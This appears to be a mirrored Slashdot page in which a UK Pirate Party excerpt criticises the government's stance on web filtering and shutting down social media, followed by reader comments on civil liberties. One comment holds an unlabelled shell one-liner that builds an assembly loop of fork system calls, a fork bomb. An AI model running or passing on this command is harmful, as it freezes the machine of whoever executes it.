Slashdot Mirror
The UK Government's Struggle With Digital Rights
With his first accepted submission, Ajehals sends this excerpt from a post by the UK Pirate Party:
"... at every turn, the coalition has been exposed as having no coherent policy on digital rights. Nothing illustrates this better than its zig-zag course on Internet filtering and website blocking. ... As if any further confirmation was needed that the government's policy on digital rights, and freedom of speech is entirely made up on the fly, along came the riots and a classic knee-jerk reaction to the use of social media. ... one of the few concrete parts of David Cameron’s statement to the recalled House of Commons was a full on attack on social media. It was carefully worded, but the thrust was that the Prime Minister thought further action is necessary to combat the 'ill' done by status updates. At this point things took a turn for the authoritarian, with MP Louise Mensch saying it was 'acceptable to shut Twitter and Facebook off for an hour or two.' ... Worse still, it has been recently revealed that the Government actually asked Ofcom to make Digital Economy Act appeals harder. It also wants to rule out a public consultation – once again trying to do deals away from the public eye. I suspect it is actually this fear of the power technology can give us to hold our representatives to account that drives alarm about the Internet in the corridors of power."
No way dude. If twitter and facebook are inaccessible for even one minute because they are rebooting their servers it is way worse than 1984 or V for Vendetta because access to twitter is a basic human right. Not having access to them would be like if North Korea was run by Hitler disguised as Big Brother. And like you know how everyone is smoking dope and shit. Well that's exactly like soma in Brave New World. We should totally legalize it. And if you like put on a mask and try and blow up Parliament people call you a terrorist.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The UK government folks probably genuinely believe that shutting down social media would be usful to stop waves of criminality like the recent rioting. The fact it hands enormous power to the government is a side effect that they either don't see or (more likely) welcome, but it's not the aim.
This ranting and posturing about evil people in charge is misguided. The point is that through good intentions both people and government can slide into sinister and easily abused situations. Not that the politicians at the top are already aiming for them.
This is why the people who notice this stuff must be extra vigilant, because it is all done with semi-good intent, but it takes us to the same bad place.
canadians as long as they were queens canadians. aussies as long as they weren't aboriginals, people of the great isles as long as they weren't scottish or irish and the english as long as they weren't against the state's ever changing policies. fine civil rights right there..
you do understand the difference between a free man and a serf? magna carta isn't as much about civil rights as it's about who has the right to fuck the common men up as much as they want, come industrialization and the mechanics changed just a little bit - for the better a bit as anyone could theoretically climb up, but magna carta is a lot about how all men are not equal.
world was created 5 seconds before this post as it is.